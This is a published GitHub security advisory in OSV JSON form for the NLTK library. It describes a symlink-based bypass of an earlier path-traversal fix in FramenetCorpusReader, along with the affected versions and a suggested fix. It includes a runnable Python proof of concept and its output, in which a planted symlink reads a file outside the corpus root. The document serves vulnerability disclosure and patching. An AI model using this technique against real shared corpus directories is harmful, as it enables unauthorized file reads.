{"id":"GHSA-f833-7jw8-xwrv","summary":"NLTK: Symlink-based sandbox bypass in FramenetCorpusReader (bypasses the fix for CVE-2026-54292)","details":"This is a **new, distinct vulnerability**: a bypass of the fix already published as [GHSA-xh95-f55m-82fw](https://github.com/nltk/nltk/security/advisories/GHSA-xh95-f55m-82fw) (\"Path traversal in NLTK FramenetCorpusReader.frame() allows arbitrary XML file read, bypassing the nltk.pathsec sandbox\"), not a duplicate of it.\n\n## Summary\n\nThe original advisory was fixed (PR [#3581](https://github.com/nltk/nltk/pull/3581)) by adding `_reject_unsafe_path_component()`, which blocks literal `/`, `\\`, `..`, and Windows drive prefixes in caller-/corpus-supplied names. It never resolves symlinks. All three call sites that use this guard still resolve the resulting path through `self.abspath()` (`nltk/corpus/reader/api.py`, `self._root.join(fileid)`), which is a plain lexical join, not the symlink-resolving, `required_root`-scoped check that `CorpusReader.open()` (and `NKJPCorpusReader`'s own fix for its sibling advisory) correctly use elsewhere in this same codebase.\n\nA symlink placed inside the corpus's own subdirectory, with a name containing no separators at all, passes the guard cleanly and reads a file completely outside the corpus root.\n\n## Affected code (`nltk/corpus/reader/framenet.py`)\n\n- `frame_by_name()` reads `\u003cframe_dir\u003e/\u003cname\u003e.xml`\n- `_lu_file()` reads `\u003clu_dir\u003e/lu\u003cid\u003e.xml`\n- `doc()` reads `\u003cfulltext_dir\u003e/\u003cfilename\u003e`\n\nAll three follow the same chain: `_reject_unsafe_path_component(value, ...)`, then `self.abspath(os.path.join(subdir, value))`, then `XMLCorpusView(...)`, opened via `PathPointer.open()` with no `required_root`.\n\n## Proof of concept\n\nSelf-contained, runnable end to end.\n\n```python\nimport os\nimport tempfile\n\nfrom nltk.corpus.reader.framenet import FramenetCorpusReader\n\nroot = tempfile.mkdtemp()\ncorpus_root = os.path.join(root, \"framenet_v17\")\nframe_dir = os.path.join(corpus_root, \"frame\")\nsecret_dir = os.path.join(root, \"outside_framenet_root\")\nos.makedirs(frame_dir)\nos.makedirs(secret_dir)\n\nwith open(os.path.join(corpus_root, \"frRelation.xml\"), \"w\") as f:\n    f.write(\"\u003cframeRelations/\u003e\")\n\nsecret_path = os.path.join(secret_dir, \"stolen.xml\")\nwith open(secret_path, \"w\") as f:\n    f.write(\n        '\u003cframe cBy=\"000\" cDate=\"01/01/2000\" name=\"StolenFrame\" ID=\"999999\"\u003e'\n        \"\u003cdefinition\u003eTHIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT\u003c/definition\u003e\"\n        \"\u003c/frame\u003e\"\n    )\n\n# Attacker plants this inside \u003ccorpus_root\u003e/frame/. No path separators,\n# so it passes _reject_unsafe_path_component cleanly.\nlink_path = os.path.join(frame_dir, \"evil_link.xml\")\nos.symlink(secret_path, link_path)\n\nreader = FramenetCorpusReader(corpus_root, [])\nreader._frame_idx = {\"__dummy__\": {\"name\": \"__dummy__\"}}  # skip unrelated index build\n\nresult = reader.frame_by_name(\"evil_link\")   # normal, routine call, no \"..\" anywhere\nprint(\"frame name:\", result[\"name\"])\nprint(\"definition:\", result[\"definition\"])\n```\n\nActual output when run against unpatched `main` (commit `35813c8`):\n\n```\nframe name: StolenFrame\ndefinition: THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT\n```\n\nThat content was read from `secret_path`, a file entirely outside `corpus_root`, via a single, unmodified, public API call. No exception is raised anywhere in the chain; `_reject_unsafe_path_component` passes because `\"evil_link\"` contains no separators, `..`, or drive prefix.\n\nVerified the same way for the other two affected call sites, `_lu_file()` (`lu\u003cid\u003e.xml` symlink under `lu/`) and `doc()` (arbitrary filename symlink under `fulltext/`), both succeeding identically with no exception raised.\n## Why this is in scope\n\n- No malicious file for a victim to open, no special user interaction. Just a tampered/shared corpus directory (NLTK's own `SECURITY.md` names \"shared environments... multi-tenant pipelines\" as its threat model) plus a completely normal API call.\n- Core corpus-reader code, not a demo/GUI tool.\n- Confirmed unintentional: PR #3581's own description states the goal was to route through \"the `nltk.pathsec` sandbox... including the strict `ENFORCE=True` mode\" and be \"consistent with the validation already used elsewhere in NLTK.\" It doesn't achieve that, since `abspath()` never reaches the scoped, symlink-resolving check that exists and is used correctly elsewhere in the same file tree (`NKJPCorpusReader`).\n\n## Suggested fix\n\nRoute all three call sites through `CorpusReader.open()` (or pass `required_root=self._root` to `validate_path()` directly, as `NKJPCorpusReader` already does), instead of `self.abspath()` plus raw `PathPointer.open()`.","aliases":["CVE-2026-62384","PYSEC-2026-3789"],"modified":"2026-09-08T16:45:03.613881599Z","published":"2026-09-08T16:39:24Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-09-08T16:39:24Z","nvd_published_at":null,"cwe_ids":["CWE-22","CWE-59"]},"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-f833-7jw8-xwrv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62384"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3726"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/736d3212a47de2005b85b785dde6720556d3925d"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.2"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3789.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-framenetcorpusreader-symlink-sandbox-bypass-before"}],"affected":[{"package":{"name":"nltk","ecosystem":"PyPI","purl":"pkg:pypi/nltk"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.10.0"},{"fixed":"3.10.2"}]}],"versions":["3.10.0","3.10.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-f833-7jw8-xwrv/GHSA-f833-7jw8-xwrv.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}]}